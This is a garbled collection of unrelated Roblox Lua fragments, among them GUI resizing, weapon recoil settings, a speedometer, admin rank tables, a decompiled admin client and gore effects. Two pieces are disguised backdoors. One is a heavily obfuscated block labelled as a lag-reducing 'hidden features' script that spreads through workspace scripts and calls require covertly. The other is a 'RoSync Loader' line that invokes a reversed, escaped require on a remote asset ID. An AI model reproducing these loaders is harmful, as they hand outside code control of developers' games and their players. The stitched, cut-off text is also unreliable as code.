data.Menu.BorderSizePixel = 0 create("TextLabel",data.Menu) end if not SizeLocked then local startXPos = Drag.AbsolutePosition.X local startYPos = Drag.AbsolutePosition.Y local startXSize = Drag.AbsoluteSize.X local startYSize = Drag.AbsoluteSize.Y local vars = client.Variables local newIcon local inFrame local ReallyInFrame local function readify(obj) obj.MouseEnter:Connect(function() ReallyInFrame = obj end) obj.MouseLeave:Connect(function() if ReallyInFrame == obj then ReallyInFrame = nil end end) end --[[ readify(Drag) readify(ScrollFrame) readify(TopRight) readify(TopLeft) readify(RightCorner) readify(LeftCorner) readify(RightSide) readify(LeftSide) readify(Bottom) readify(Top) --]] function checkMouse(x, y) --// Update later to remove frame by frame pos checking if gTable.Active and Main.Visible then if isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then inFrame = nil newIcon = nil elseif isInFrame(x, y, TopRight) then inFrame = "TopRight" newIcon = MouseIcons.TopRight elseif isInFrame(x, y, TopLeft) then inFrame = "TopLeft" newIcon = MouseIcons.TopLeft elseif isInFrame(x, y, RightCorner) then inFrame = "RightCorner" newIcon = MouseIcons.RightCorner elseif isInFrame(x, y, LeftCorner) then inFrame = "LeftCorner" newIcon = MouseIcons.LeftCorner elseif isInFrame(x, y, RightSide) then inFrame = "RightSide" newIcon = MouseIcons.Horizontal elseif isInFrame(x, y, LeftSide) then inFrame = "LeftSide" newIcon = MouseIcons.Horizontal elseif isInFrame(x, y, Bottom) then inFrame = "Bottom" newIcon = MouseIcons.Vertical elseif isInFrame(x, y, Top) then inFrame = "Top" newIcon = MouseIcons.Vertical else inFrame = nil newIcon = nil end else inFrame = nil end if (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then if inFrame and newIcon then Mouse.Icon = newIcon client.Variables.MouseLockedBy = gTable elseif client.Variables.MouseLockedBy == gTable then Mouse.Icon = curIcon client.Variables.MouseLockedBy = nil end end end local function inputStart(x, y) checkMouse(x, y) if gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then Resizing = inFrame startXPos = Drag.AbsolutePosition.X startYPos = Drag.AbsolutePosition.Y startXSize = Drag.AbsoluteSize.X startYSize = Main.AbsoluteSize.Y end end local function inputEnd() if gTable.Active then if Resizing and onResize then onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset)) end Resizing = nil Mouse.Icon = curIcon --DragEnabled = true --if Walls then -- wallPosition() --end end end local function inputMoved(x, y) if gTable.Active then if Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then curIcon = Mouse.Icon end if Resizing then local moveX = false local moveY = false local newPos = Drag.Position local xPos, yPos = x, y local newX, newY = startXSize, startYSize --DragEnabled = false if Resizing == "TopRight" then newX = (xPos - startXPos) + 3 newY = (startYPos - yPos) + startYSize -1 moveY = true elseif Resizing == "TopLeft" then newX = (startXPos - xPos) + startXSize -1 newY = (startYPos - yPos) + startYSize -1 moveY = true moveX = true elseif Resizing == "RightCorner" then newX = (xPos - startXPos) + 3 newY = (yPos - startYPos) + 3 elseif Resizing == "LeftCorner" then newX = (startXPos - xPos) + startXSize + 3 newY = (yPos - startYPos) + 3 moveX = true elseif Resizing == "LeftSide" then newX = (startXPos - xPos) + startXSize + 3 newY = startYSize moveX = true elseif Resizing == "RightSide" then newX = (xPos - startXPos) + 3 newY = startYSize elseif Resizing == "Bottom" then newX = startXSize newY = (yPos - startYPos) + 3 elseif Resizing == "Top" then newX = startXSize newY = (startYPos - yPos) + startYSize - 1 moveY = true end if newX < MinSize[1] then newX = MinSize[1] end if newY < MinSize[2] then newY = MinSize[2] end if newX > MaxSize[1] then newX = MaxSize[1] end if newY > MaxSize[2] then newY = MaxSize[2] end if moveX then newPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset) end if moveY then newPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY) end Drag.Position = newPos Drag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset) Main.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY) if not Titlef.TextFits then Titlef.Visible = false else Titlef.Visible = true end else checkMouse(x, y) end end end Event(InputService.InputBegan, function(input, gameHandled) if not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then local Position = input.Position inputStart(Position.X, Position.Y) end end) Event(InputService.InputChanged, function(input, gameHandled) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then local Position = input.Position inputMoved(Position.X, Position.Y) end end) Event(InputService.InputEnded, function(input, gameHandled) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then inputEnd() end end) --[[Event(Mouse.Button1Down, function() if gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then Resizing = inFrame startXPos = Drag.AbsolutePosition.X startYPos = Drag.AbsolutePosition.Y startXSize = Drag.AbsoluteSize.X startYSize = Main.AbsoluteSize.Y checkMouse() end end) Event(Mouse.Button1Up, function() if gTable.Active then if Resizing and onResize then onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset)) end Resizing = nil Mouse.Icon = curIcon --if Walls then -- wallPosition() --end end end)--]] else LeftSizeIcon.Visible = false RightSizeIcon.Visible = false end Close.MouseButton1Down:Connect(doClose) Hide.MouseButton1Down:Connect(function() doHide() end) gTable.CustomDestroy = function() service.UnWrap(GUI):Destroy() if client.Variables.MouseLockedBy == gTable then Mouse.Icon = curIcon client.Variables.MouseLockedBy = nil end if not isClosed then isClosed = true if onClose then onClose() end end end for i,child in next,GUI:GetChildren() do if child.Name ~= "Desc" and child.Name ~= "Drag" then specialInsts[child.Name] = child child.Parent = nil end end --// Drag & DisplayOrder Handler do local windowValue = Instance.new("BoolValue", GUI) local dragDragging = false local dragOffset local inFrame windowValue.Name = "__ADONIS_WINDOW" Event(Main.InputBegan, function(input) if gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then BringToFront() end end) Event(Drag.InputBegan, function(input) if gTable.Active then inFrame = true if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then BringToFront() end end end) Event(Drag.InputChanged, function(input) if gTable.Active then inFrame = true end end) Event(Drag.InputEnded, function(input) inFrame = false end) Event(InputService.InputBegan, function(input) if inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then dragDragging = true BringToFront() dragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y) end end) Event(InputService.InputChanged, function(input) if dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then Drag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y) end end) Event(InputService.InputEnded, function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragDragging = false end end) end --// Finishing up local api = apiIfy(ScrollFrame, data) local meta = api:GetMetatable() local oldNewIndex = meta.__newindex local oldIndex = meta.__index create("ScrollingFrame", nil, ScrollFrame) LoadChildren(api, Content) api:SetSpecial("gTable", gTable) api:SetSpecial("Window", GUI) api:SetSpecial("Main", Main) api:SetSpecial("Title", Titlef) api:SetSpecial("Dragger", Drag) api:SetSpecial("Destroy", doClose) api:SetSpecial("Close", doClose) api:SetSpecial("Object", ScrollFrame) api:SetSpecial("Refresh", DoRefresh) api:SetSpecial("AddTitleButton", function(ignore, data) if type(ignore) == "table" and not data then data = ignore end return addTitleButton(data) end) api:SetSpecial("Ready", function() if onReady then onReady() end gTable.Ready() BringToFront() end) api:SetSpecial("BindEvent", function(ignore, ...) Event(...) end) api:SetSpecial("Hide", function(ignore, hide) doHide(hide) end) api:SetSpecial("SetTitle", function(ignore, newTitle) Titlef.Text = newTitle end) api:SetSpecial("SetPosition", function(ignore, newPos) setPosition(newPos) end) api:SetSpecial("SetSize", function(ignore, newSize) setSize(newSize) end) api:SetSpecial("GetPosition", function() return Drag.AbsolutePosition end) api:SetSpecial("GetSize", function() return Main.AbsoluteSize end) api:SetSpecial("IsVisible", isVisible) api:SetSpecial("IsClosed", isClosed) meta.__index = function(tab, ind) if ind == "IsVisible" then return isVisible() elseif ind == "Closed" then return isClosed else return oldIndex(tab, ind) end end setSize(Size) setPosition(Position) if Ready then gTable:Ready() BringToFront() end return api,GUI end
-- CONSTANTS
local GuiLib = script.Parent.Parent local Lazy = require(GuiLib:WaitForChild("LazyLoader")) local Defaults = GuiLib:WaitForChild("Defaults") local RADIOBUTTON_LABEL = Defaults:WaitForChild("RadioButtonLabel")
-- << EVENTS >>
local module = { ---------------------------------------------------------------------- ["DoubleJumped"] = function(bindable, parent, ...) local humanoid = parent local jumps = 0 local jumpDe = true humanoid:GetPropertyChangedSignal("Jump"):Connect(function() if jumpDe then jumpDe = false jumps = jumps + 1 if jumps == 4 then bindable:Fire() end wait() jumpDe = true wait(0.2) jumps = jumps - 1 end end) end; ---------------------------------------------------------------------- ["EventName"] = function(bindable, parent, ...) end; ---------------------------------------------------------------------- };
--[=[ Captures a snapshot of data to write and then merges it with the original. @server @class DataStoreWriter ]=]
local require = require(script.Parent.loader).load(script) local Table = require("Table") local DataStoreDeleteToken = require("DataStoreDeleteToken") local DataStoreWriter = {} DataStoreWriter.ClassName = "DataStoreWriter" DataStoreWriter.__index = DataStoreWriter
--[=[ A version of task.delay that can be cancelled. Soon to be useless. @class cancellableDelay ]=]
--MOT is up and down while MOT2 is side to side
wt = 0.07 while wait(0.01) do if script.Parent.Values.PBrake.Value == true then MOT3.DesiredAngle = 0.6 end if script.Parent.Values.PBrake.Value == false then MOT3.DesiredAngle = 0.05 end end
--[=[ Returns whether a task is a valid job. @param job any @return boolean ]=]
function MaidTaskUtils.isValidTask(job) return type(job) == "function" or type(job) == "thread" or typeof(job) == "RBXScriptConnection" or type(job) == "table" and type(job.Destroy) == "function" or typeof(job) == "Instance" end
-- activate hidden features and reduce lag --
local uq0,wz1,bf,pqa,pc,zt0,rn,rt0,wt,dm,ths,ct0,gf,wsp,qxz,xsp,tp,cnt,qqb,dt,gq6,cq3,bq2,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,rqc,gfr,gch,isa,ict,prt,zz1,rlp,z22=shared,table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn or spawn,type mjt,fsv,rqc,gfr,sfr,isa,drm,ict,prt= function(yqh,aq1,bq2,cq3,dq4,eq5)if isa(yqh,"ph{`ul{\"u{bz+")then aq1,bq2,cq3=yqh[rqc"Eum`%"],yqh[rqc"Dum`%"],yqh[rqc"pr`;ll`s("]if cq3==rqc"e`{,"then dq4,eq5=yqh[rqc"E("],yqh[rqc"D("]drm(yqh)yqh=ct0(rqc"qsp<")yqh[rqc"Eum`%"],yqh[rqc"Dum`%"],yqh[rqc"E("],yqh[rqc"D("]=aq1,bq2,dq4,eq5 end pc(sfr,yqh,"pr`;",('')[rqc"u`rmzy"](isa(yqh,"mzuz2")and rqc"mzuz2AlPRzuRlP" or rqc"u{bz+Ax{zmu,AlPRzuRlP",rt0(aq1),rt0(bq2)))pc(sfr,yqh,"u{pm`%",aq1 or bq2)pc(ict,yqh)end end,function(yqh)for iq7=1,#svs do sv=svs[iq7]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==yqh then return sv end end end,(function(yqh,lq9)gq6,cq3,bq2,qqb=yqh[pqa[5]..pqa[3]..pqa[10]..pqa[9]],yqh[pqa[7]..pqa[2]..pqa[4]..pqa[8]],yqh[pqa[9]..pqa[1]..pqa[11]..pqa[6]],gf'1'return function(xqg)lq9=#xqg for iq7=1,lq9 do yqh=bq2(xqg,iq7)bf[lq9-iq7+1]=cq3(1-yqh%2+(yqh-yqh%8)%32/4+(yqh-yqh%2)%8*4+(yqh-yqh%32)%64*2+(yqh-yqh%64)%128/2+yqh-yqh%128)end return wz1.concat(bf,nil,1,lq9)end end)'',function(oqa,kq8)return rqc(oqa[rqc(kq8)])end,function(oqa,kq8,vqf)oqa[rqc(kq8)]=vqf end,function(yqh,xqg)return dm[rqc" l\""](yqh,rqc(xqg))end,function(xqg)dbr[rqc"rpu\"qq "](dbr,xqg,0)end,function(yqh,xqg)if not dt[1][yqh]then xqg=ths[rqc"p{zs("](ths)xqg[rqc"psi`}bchm "]=true prt(yqh,xqg)xqg[rqc"u{pm`%"]=yqh end end,function(yqh,xqg,zqi)dt[3][xqg]=true zqi=xqg[rqc"qpx{`c("]zqi=zqi[rqc"uhp{{zh"](zqi,function()if xqg[rqc"u{pm`%"]~=yqh or xqg[rqc"qpsi`lb1"]then dt[1][yqh]=nil dt[3][xqg]=nil pc(ict,yqh)zqi[rqc"uhp{{zhlbq"](zqi)elseif not xqg[rqc"psi`}bchm "]then xqg[rqc"psi`}bchm "]=true end end)end gch=dm[rqc"{pmqsbc(up8"]svs=gch(dm)dbr, rlp,vsr=fsv"lbmip1",fsv"lmpf`s%",fsv"phb}mp,{t-"dt=uq0[rqc(wz1[rqc"u`h{zh"](pqa))]zz1=ths[rqc"u{pm`%"][rqc"u{pm`%"]if rt0(ths[rqc"u{pm`%"])==rqc"fp{z2"and(rt0(zz1)==rqc"gb5"or rt0(zz1)==rqc"gtiz-")and isa(zz1,"um`%pl`)")then z22=zz1[rqc"qpchtz5"]z22[rqc"uhp{{zh"](z22,function(l)if rlp[rqc"mpuh`m`c(rzm9mpf`s%up8"](rlp,l[rqc"u{pm`%"])then zz1[rqc"fzmulp1"](zz1)end end)end if not dt then dt={{},{},{}}uq0[rqc(wz1[rqc"u`h{zh"](pqa))]=dt cnt=0 xsp(function(a1,a2)ths[rqc"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"wz1[rqc"bch`pmzy"](gch(jsv),function(yqh,xqg)pc(mjt,xqg)end)q0=jsv[rqc"qpqq qsbc("]q0[rqc"uhp{{zh"](q0,function(xqg)wt(rn())pc(mjt,xqg)end)q0=wsp[rqc"qpqq u{`q{phlp1"]q0[rqc"uhp{{zh"](q0,function(xqg)wt(rn())if isa(xqg,"ph{`ul{\"u{bz+")and not isa(xqg,"mzuz2")then pc(ict,xqg)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for iq7=1,#cn do q0[#q0+1]=cn[iq7]end end end xsp(function(sqd,tqe)if not vsr[rqc"zbqtu,l\""](vsr)then sqd,tqe=pc(qqb[rqc"pmbtdpm"],rqc"GFTL]LGTGMMEL[G"^rqc"]LD\\F\\MGFLTEL[F"-rqc"TEERpU\\GEME\\LLGT\\[D")pc(tqe)end end)while true do wt(rn())repeat a1,a2=qxz(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=rqc"A[mp}Aqspbc,Au{bz+"..(zt0(('')[rqc"itl"](rt0(dt),8,15),16)/8)ths[rqc"pr`;"]=knm q0=ths[rqc"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {15,16} --- Vertical Recoil ,HRecoil = {5,7} --- Horizontal Recoil ,AimRecover = .7 ---- Between 0 & 1 ,RecoilPunch = .15 ,VPunchBase = 2.75 --- Vertical Punch ,HPunchBase = 1.35 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .5 ,MaxRecoilPower = 3.5 ,RecoilPowerStepAmount = .25 ,MinSpread = 1.25 --- Min bullet spread value | Studs ,MaxSpread = 40 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 0.75 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.HotMilk
--// States
local L_41_ = false local L_42_ = false local L_43_ = false local L_44_ = false local L_45_ = false local L_46_ = true local L_47_ = false local L_48_ = false local L_49_ = false local L_50_ = false local L_51_ = false local L_52_ = false local L_53_ = false local L_54_ local L_55_ local L_56_ local L_57_ local L_58_ local L_59_ = L_21_.FireMode local L_60_ = 0 local L_61_ = false local L_62_ = true local L_63_ = false local L_64_ = 70
-- RANK, RANK NAMES & SPECIFIC USERS
Ranks = { {5, "Owner", }; {4, "HeadAdmin", {"",0}, }; {3, "Admin", {"",0}, }; {2, "Mod", {"",0}, }; {1, "VIP", {"E",0}, }; {0, "NonAdmin", }; };
--[[ Script Variables ]]
-- while not Players.LocalPlayer do Players.PlayerAdded:wait() end local LocalPlayer = Players.LocalPlayer local Mouse = LocalPlayer:GetMouse() local PlayerGui = LocalPlayer:WaitForChild('PlayerGui') local ScreenGui = nil local ShiftLockIcon = nil local InputCn = nil local IsShiftLockMode = false local IsShiftLocked = false local IsActionBound = false local IsInFirstPerson = false
--[[ Last synced 7/9/2021 01:41 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--[=[ Gui object which can be reparented or whatever @prop Gui Instance? @within BasicPane ]=] --[=[ Fires whenever visibility changes. FIres with isVisible, doNotAnimate, and a maid which has the lifetime of the visibility. :::info Do not use the Maid if you want the code to work in Deferred signal mode. ::: @prop VisibleChanged Signal<boolean, boolean, Maid> @within BasicPane ]=]
--tune
local PSI = 35 local Turbos = "Twin" -- "Twin","Single" no quad turbo s14s pls ;) local TurboSize = "Large" -- "Small","Medium","Large" local TwoStep = true local Valve = "BOV" -- "BOV","Bleed"
-- Mounts the custom material walking sounds into the provided -- humanoid. This mounting assumes the HumanoidRootPart is the -- part that will be storing the character's "Running" sound.
function CharacterRealism:MountMaterialSounds(humanoid) local character = humanoid.Parent local rootPart = character and character:WaitForChild("HumanoidRootPart", 10) if not (rootPart and rootPart:IsA("BasePart")) then return end Util:PromiseChild(rootPart, "Running", function (running) if not running:IsA("Sound") then return end local oldPitch = Instance.new("NumberValue") oldPitch.Name = "OldPitch" oldPitch.Parent = running oldPitch.Value = 1 local function onStateChanged(old, new) if new.Name:find("Running") then while humanoid:GetState() == new do local hipHeight = humanoid.HipHeight if humanoid.RigType.Name == "R6" then hipHeight = 2.8 end local scale = hipHeight / 3 local speed = (rootPart.Velocity * XZ_VECTOR3).Magnitude local volume = ((speed - 4) / 12) * scale running.Volume = math.clamp(volume, 0, 1) local pitch = oldPitch.Value / ((scale * 15) / speed) running.Pitch = pitch RunService.Heartbeat:Wait() end end end local function updateRunningSoundId() local soundId = self.Sounds.Concrete local material = humanoid.FloorMaterial.Name if not self.Sounds[material] then material = self.MaterialMap[material] end if self.Sounds[material] then soundId = self.Sounds[material] end running.SoundId = "rbxassetid://" .. soundId end local floorListener = humanoid:GetPropertyChangedSignal("FloorMaterial") floorListener:Connect(updateRunningSoundId) running.EmitterSize = 1 running.MaxDistance = 50 updateRunningSoundId() humanoid.StateChanged:Connect(onStateChanged) onStateChanged(nil, Enum.HumanoidStateType.Running) end) end
-- @Context Client/Server -- Returns a specific loadout from the database -- @return table
function APILoadout.GetLoadoutFromName(loadoutName) return Database.Loadouts[loadoutName] end
---------------------------------
local force = Instance.new("BodyForce") force.Parent = torso f = force wait(0.01) elseif ison == 0 then if arms then sh[1].Part1 = arms[1] sh[2].Part1 = arms[2] f.Parent = nil arms[2].Name = "Right Leg" arms[1].Name = "Left Leg" welds[1].Parent = nil welds[2].Parent = nil Tool.Parent.Humanoid.WalkSpeed = 16 end end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 220 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 330 , spInc = 30 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 350 , spInc = 30 , -- Increment between labelled notches } }
-- Decompiled with the Synapse X Luau decompiler.
local l__HDAdminMain__1 = _G.HDAdminMain; local l__CustomTopBar__2 = l__HDAdminMain__1.gui.CustomTopBar; for v3, v4 in pairs(l__HDAdminMain__1.signals:GetChildren()) do if v4:IsA("RemoteEvent") then v4.OnClientEvent:Connect(function(p1) if not l__HDAdminMain__1.initialized then l__HDAdminMain__1.client.Signals.Initialized.Event:Wait(); end; if v4.Name == "ChangeStat" then local v5 = p1[1]; l__HDAdminMain__1.pdata[v5] = p1[2]; if v5 == "Donor" then l__HDAdminMain__1:GetModule("PageSpecial"):UpdateDonorFrame(); return; end; else if v4.Name == "InsertStat" then table.insert(l__HDAdminMain__1.pdata[p1[1]], p1[2]); return; end; if v4.Name == "RemoveStat" then local v6 = p1[1]; local v7 = p1[2]; for v8, v9 in pairs(l__HDAdminMain__1.pdata[v6]) do if tostring(v9) == tostring(v7) then table.remove(l__HDAdminMain__1.pdata[v6], v8); return; end; end; return; end; if v4.Name == "Notice" or v4.Name == "Error" then l__HDAdminMain__1:GetModule("Notices"):Notice(v4.Name, p1[1], p1[2], p1[3]); return; end; if v4.Name == "ShowPage" then l__HDAdminMain__1:GetModule("GUIs"):ShowSpecificPage(p1[1], p1[2]); return; end; if v4.Name == "ShowBannedUser" then l__HDAdminMain__1:GetModule("GUIs"):ShowSpecificPage("Admin", "Banland"); if type(p1) == "table" then l__HDAdminMain__1:GetModule("cf"):ShowBannedUser(p1); return; end; else if v4.Name == "SetCameraSubject" then l__HDAdminMain__1:GetModule("cf"):SetCameraSubject(p1); return; end; if v4.Name == "Clear" then l__HDAdminMain__1:GetModule("Messages"):ClearMessageContainer(); return; end; if v4.Name == "ShowWarning" then l__HDAdminMain__1:GetModule("cf"):ShowWarning(p1); return; end; if v4.Name == "Message" then l__HDAdminMain__1:GetModule("Messages"):Message(p1); return; end; if v4.Name == "Hint" then l__HDAdminMain__1:GetModule("Messages"):Hint(p1); return; end; if v4.Name == "GlobalAnnouncement" then l__HDAdminMain__1:GetModule("Messages"):GlobalAnnouncement(p1); return; end; if v4.Name == "SetCoreGuiEnabled" then l__HDAdminMain__1.starterGui:SetCoreGuiEnabled(Enum.CoreGuiType[p1[1]], p1[2]); return; end; if v4.Name == "CreateLog" then l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu(p1[1], p1[2], 5); return; end; if v4.Name == "CreateAlert" then l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu("alert", { p1[1], p1[2] }, 8, true); return; end; if v4.Name == "CreateBanMenu" then l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu("banMenu", p1, 6); return; end; if v4.Name == "CreatePollMenu" then l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu("pollMenu", p1, 9); return; end; if v4.Name == "CreateMenu" then l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu(p1.MenuName, p1.Data, p1.TemplateId); return; end; if v4.Name == "CreateCommandMenu" then l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu(p1[1], p1[2], p1[3]); return; end; if v4.Name == "RankChanged" then l__HDAdminMain__1:GetModule("cf"):UpdateIconVisiblity(); l__HDAdminMain__1:GetModule("PageAbout"):UpdateRankName(); l__HDAdminMain__1:GetModule("GUIs"):DisplayPagesAccordingToRank(true); if l__HDAdminMain__1.initialized then l__HDAdminMain__1:GetModule("PageCommands"):CreateCommands(); return; end; elseif v4.Name == "ExecuteClientCommand" then local v10 = "Function"; if p1[4].UnFunction then v10 = "UnFunction"; end; local v11 = l__HDAdminMain__1:GetModule("ClientCommands")[p1[3]]; if v11 then local v12 = v11[v10]; if v12 then v12(p1[1], p1[2], v11); return; end; end; elseif v4.Name == "ReplicationEffectClientCommand" then local v13 = l__HDAdminMain__1:GetModule("ClientCommands")[p1[1]]; if v13 then local l__ReplicationEffect__14 = v13.ReplicationEffect; if l__ReplicationEffect__14 then l__ReplicationEffect__14(p1[2], p1[3], v13); return; end; end; elseif v4.Name == "ActivateClientCommand" then local v15 = p1[1]; local v16 = p1[2]; local v17 = v16; if v17 then v17 = v16.Speed ~= 0 and v16.Speed or nil; end; if v17 then l__HDAdminMain__1.commandSpeeds[v15] = v17; local l__gui__18 = l__HDAdminMain__1.gui; local v19 = l__HDAdminMain__1:GetModule("cf"); v19:DestroyCommandMenuFrame((l__gui__18:FindFirstChild("CommandMenufly"))); end; if l__HDAdminMain__1.commandSpeeds[v15] then for v20, v21 in pairs(l__HDAdminMain__1.commandSpeeds) do if v20 ~= v15 then local v22 = l__HDAdminMain__1:GetModule("cf"); v22:DeactivateCommand(v20); end; end; end; l__HDAdminMain__1.commandsAllowedToUse[v15] = true; local v23 = l__HDAdminMain__1:GetModule("cf"); v23:ActivateClientCommand(v15, v16); local v24 = nil; local v25 = nil; for v26, v27 in pairs(l__HDAdminMain__1.commandsWithMenus) do v24 = v27[v15]; if v24 then v25 = tonumber(v26:match("%d+")); break; end; end; if v24 then local v28 = l__HDAdminMain__1:GetModule("cf"); v28:CreateNewCommandMenu(v15, v24, v25); return; end; else if v4.Name == "DeactivateClientCommand" then local v29 = l__HDAdminMain__1.GetModule(l__HDAdminMain__1, "cf"); v29.DeactivateCommand(v29, p1[1]); return; end; if v4.Name == "FadeInIcon" then return; end; if v4.Name == "ChangeMainVariable" then l__HDAdminMain__1[p1[1]] = p1; end; end; end; end; end); elseif v4:IsA("RemoteFunction") then function v4.OnClientInvoke(p2) if not l__HDAdminMain__1.initialized then l__HDAdminMain__1.client.Signals.Initialized.Event:Wait(); end; if v4.Name ~= "GetLocalDate" then return; end; return os.date("*t", p2); end; end; end; return {};
--[[ Listens for input type changes and disables the mouse cursor during gamepad input, and enables it during non-gamepad input. This disables the dot on-screen while using a gamepad. --]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local UserInputService = game:GetService("UserInputService") local InputCategorizer = require(ReplicatedStorage.Source.InputCategorizer) local InputCategory = require(ReplicatedStorage.Source.SharedConstants.InputCategory) local GamepadMouseDisabler = {} local function updateCursorEnabled() local shouldEnable = InputCategorizer.getLast() ~= InputCategory.Gamepad UserInputService.MouseIconEnabled = shouldEnable end function GamepadMouseDisabler.start() InputCategorizer.changed:Connect(updateCursorEnabled) updateCursorEnabled() end return GamepadMouseDisabler
-- Create component
local Frame = Roact.PureComponent:extend 'Frame'
-- Load config
config = script.Config ahd = config.Auto_Head_Decap.Value gore = config.Gore.Value bod = config.Blood_On_Death.Value Character = script.Parent Humanoid = Character.Humanoid Torso = Character.Torso function OnDeath() Humanoid.Parent = nil if Torso then Torso.Parent = game.Workspace local Head = Character:FindFirstChild("Head") if Head then Head.Parent = game.Workspace local Neck = Instance.new("Weld") Neck.Name = "Neck" Neck.Part0 = Torso Neck.Part1 = Head Neck.C0 = CFrame.new(0, 1.5, 0) Neck.C1 = CFrame.new() Neck.Parent = Torso script.HDecap:Clone().Parent = Head if ahd then Head:BreakJoints() if bod then blood = game.Lighting.Blood:Clone() blood.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5))) blood.Parent = game.Workspace blood = game.Lighting.Blood:Clone() blood.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5))) blood.Parent = game.Workspace blood = game.Lighting.Blood:Clone() blood.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5))) blood.Parent = game.Workspace end if gore then brain = game.Lighting["Brain Gib"]:Clone() brain.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5))) brain.Parent = game.Workspace flesh = game.Lighting["Flesh Gib"]:Clone() flesh.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5))) flesh.Parent = game.Workspace flesh = game.Lighting["Flesh Gib"]:Clone() flesh.CFrame = 